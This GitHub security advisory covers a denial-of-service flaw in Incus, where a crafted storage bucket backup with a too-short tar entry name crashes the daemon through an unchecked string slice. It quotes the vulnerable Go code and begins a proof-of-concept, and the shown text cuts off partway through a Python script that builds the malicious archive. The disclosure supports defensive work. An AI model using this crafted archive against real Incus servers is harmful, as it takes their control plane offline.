GitHub Security Advisory: GHSA-vg76-xmhg-j5x3
Package: github.com/lxc/incus (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 0.7.0
Patched in: unpatched

Summary: Incus vulnerable to denial of source through crafted bucket backup file

Details:
### Summary
A specially crafted storage bucket backup can be used by an user with access to Incus' storage bucket feature to crash the Incus daemon. Repeated use of this attack can be used to keep the server offline causing a denial of service of the control plane API.

This does not impact any running workload, existing containers and virtual machines will keep operating.

### Details

The S3 transfer manager contains an unchecked string slicing vulnerability that allows an authenticated attacker to crash the daemon during S3 restore operations. While processing tar headers from a supplied backup archive, the code skips only the index entry and strips the expected bucket prefix from all other entries without first validating the header name.

In Go, slicing a string with a starting index beyond the string length triggers a runtime panic. Because no prefix or length validation is performed before this operation, a malicious archive containing a non-index entry with a shorter-than-expected header name can trigger a slice-bounds panic and terminate the daemon. This results in immediate denial of service on the node.

Affected File:
https://github.com/lxc/incus/blob/v6.20.0/internal/server/storage/s3/transfer_manager.go 

Affected Code:
```
func (t TransferManager) UploadAllFiles(bucketName string, srcData io.ReadSeeker) error {
    [...]
    for {
        hdr, err := tr.Next()
        if err == io.EOF {
            break // End of archive.
        }

        // Skip index.yaml file
        if hdr.Name == "backup/index.yaml" {
            continue
        }

        // Skip directories because they are part of the key of an actual file
        fileName := hdr.Name[len("backup/bucket/"):]

        _, err = minioClient.PutObject(ctx, bucketName, fileName, tr, -1, minio.PutObjectOptions{})
        if err != nil {
            return err
        }
    }

    return nil
}
```

### PoC

The following PoC demonstrates that a malformed backup archive containing a non-index tar entry with a shorter-than-expected name can trigger a slice-bounds panic in the S3 restore path and terminate the incusd daemon.

Step 1: Enable the storage buckets listener

On the Incus host, enable the storage buckets listener so that the S3 transfer path can initialize correctly during import.

Command:
```
incus config set core.storage_buckets_address :4443
```

Step 2: Create the malicious archive

From a client or workstation with Python available, create a crafted backup archive that contains a valid backup/index.yaml entry followed by a second entry whose name is shorter than the expected backup/bucket/ prefix length.

Commands:
```
cat <<EOF > poc_s3_slicing.py
import tarfile
import io
import yaml

index_data = {
    "name": "s3-slice-panic",
    "config": {
        "bucket": {
            "description": "Bypassing metadata checks",
            "config": {}
        },
        "bucket_keys": [
            {
                "name": "poc-key",
                "role": "admin",